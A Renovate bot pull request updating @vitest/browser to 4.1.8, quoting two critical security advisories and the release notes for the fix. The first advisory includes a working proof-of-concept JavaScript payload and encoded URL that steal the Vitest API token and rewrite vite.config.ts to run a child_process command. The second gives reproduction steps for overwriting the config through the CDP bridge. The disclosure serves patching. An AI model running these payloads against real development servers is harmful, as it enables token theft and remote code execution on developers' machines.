chore(deps): update dependency @vitest/browser to v4.1.8 [security] by renovate[bot] · Pull Request #121 · Sec-ant/readable-stream

renovate · 2026-06-01T22:16:00Z

This PR contains the following updates:

Package	Change	Age	Confidence
@vitest/browser (source)	`4.1.5` → `4.1.8`

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

CVE-2026-47428 / GHSA-2h32-95rg-cppp

More information

Details

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

Example script and encoded URL

(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

Severity

CVSS Score: 9.6 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE

CVE-2026-53633 / GHSA-g8mr-85jm-7xhm

More information

Details

Summary

Vitest Browser Mode exposes a cdp() API that forwards raw Chrome DevTools Protocol (CDP) methods over the Vitest browser WebSocket RPC. CDP is not gated by browser.api.allowWrite, browser.api.allowExec, api.allowWrite, or api.allowExec.

As a result, disabling Browser Mode write and exec operations does not prevent a browser API client from using CDP to perform equivalent actions. In a verified reproduction with allowWrite: false and allowExec: false, CDP Page.setDownloadBehavior set the browser download directory to the project root, and CDP Runtime.evaluate downloaded a controlled vite.config.ts. Vitest reloaded the changed config and executed attacker-controlled Node.js code.

When the Browser Mode API is also exposed to the network, this becomes remotely exploitable because the generated browser runner page exposes the API token, active session id, project name, and project root path needed to connect to the browser WebSocket API and select the target download directory.

Impact

This affects Browser Mode projects using a CDP-capable provider, such as Playwright Chromium, when the browser API server is exposed to the network, for example with --browser.api.host=0.0.0.0.

In this mode Vitest warns that write and exec operations are disabled by default, but the generated browser runner page exposes enough metadata for a remote client to authenticate to the browser WebSocket API while an active session exists. This includes the browser API token, active session id, project name, and serialized test config including the project root path. The attacker can then call Vitest's CDP RPC and use Chrome's download controls to overwrite vite.config.ts in the project root. When Vitest reloads the changed config, attacker-controlled Node.js code executes on the host running Vitest.

The same exposed CDP bridge also allows direct browser-session JavaScript execution through Runtime.evaluate. A separate local probe showed that CDP can navigate the browser to a file:// URL and read rendered file contents, but the primary verified impact is config-file overwrite leading to RCE.

Reproduction

For a concrete reproduction, start Browser Mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install

Configure the Browser Mode API to listen on all interfaces while explicitly disabling write and exec operations:

import { playwright } from '@&#8203;vitest/browser-playwright'
import { defineConfig } from 'vite'

export default defineConfig({
  test: {
    browser: {
      enabled: true,
      provider: playwright(),
      instances: [
        { browser: 'chromium' },
      ],
      api: {
        host: '0.0.0.0',
        allowWrite: false,
        allowExec: false,
      },
    },
  },
})

Then start the test server:

pnpm test

Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

While the browser session is active:

Fetch the generated browser runner page:

http://localhost:63315/__vitest_test__/

Extract the embedded browser API token, active session id, project name, and project root:
- window.VITEST_API_TOKEN
- __vitest_browser_runner__.sessionId
- __vitest_browser_runner__.config.name
- __vitest_browser_runner__.config.root

Connect to the browser API WebSocket as a tester client:

/__vitest_browser_api__?type=tester&rpcId=<fresh-id>&sessionId=<session-id>&projectName=<project-name>&method=none&token=<token>

Call the sendCdpEvent RPC method with:

Page.setDownloadBehavior({
  behavior: "allow",
  downloadPath: __vitest_browser_runner__.config.root
})

Call sendCdpEvent again with Runtime.evaluate. The evaluated JavaScript creates a Blob containing a malicious Vite config and clicks an anchor element <a download="vite.config.ts">.
Observed result:
- vite.config.ts is overwritten with attacker-controlled content.
- Vitest reloads the changed config.
- The injected Node.js payload runs on the host.

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitest-dev/vitest (@vitest/browser)

`v4.1.8`

Compare Source

🐞 Bug Fixes

browser:
- Disable client cdp API when allowWrite/allowExec: false [backport to v4] - by @hi-ogawa and Codex in #10450 (e4067)
- Remove orphaned Playwright route when same module is mocked via multiple ids [backport to v4] - by @toxik and @Zelys-DFKH in #10474 (675b4)

View changes on GitHub

`v4.1.7`

Compare Source

🐞 Bug Fixes

runner: Limit concurrency per task branch in addition to per leaf callbacks (backport) - by @hi-ogawa in #10384 (4f0f2)

View changes on GitHub

`v4.1.6`

Compare Source

🐞 Bug Fixes

browser: Provide project reference in ToMatchScreenshotResolvePath - by @macarie and @sheremet-va in #10138 (31882)
Global sequence.concurrent: true with top-level test(..., { concurrent: false }) + depreacte sequential test API and options - by @hi-ogawa, Codex and @sheremet-va in #10196 (2847d)
browser: Simplify orchestrator otel carrier - by @hi-ogawa in #10285 (18af9)

🏎 Performance

Stringify diff objects only once - by @sheremet-va in #10276 (9f7b1)

View changes on GitHub

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renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch from 4fc3edf to bb1a314 Compare June 11, 2026 16:41

chore(deps): update dependency @vitest/browser to v4.1.8 [security]

f4e30f0

renovate Bot force-pushed the renovate/npm-vitest-browser-vulnerability branch from bb1a314 to f4e30f0 Compare June 16, 2026 08:13

renovate Bot changed the title ~~chore(deps): update dependency @vitest/browser to v4.1.6 [security]~~ chore(deps): update dependency @vitest/browser to v4.1.8 [security] Jun 16, 2026

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chore(deps): update dependency @vitest/browser to v4.1.8 [security]#121

chore(deps): update dependency @vitest/browser to v4.1.8 [security]#121
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Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Details

Summary

Impact

Proof of Concept

XSS

RCE via config write

Severity

References

Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE

Details

Summary

Impact

Reproduction

Severity

References

Release Notes

v4.1.8

🐞 Bug Fixes

View changes on GitHub

v4.1.7

🐞 Bug Fixes

View changes on GitHub

v4.1.6

🐞 Bug Fixes

🏎 Performance

View changes on GitHub

Configuration

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renovate Bot commented Jun 1, 2026 •

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`v4.1.8`

`v4.1.7`

`v4.1.6`

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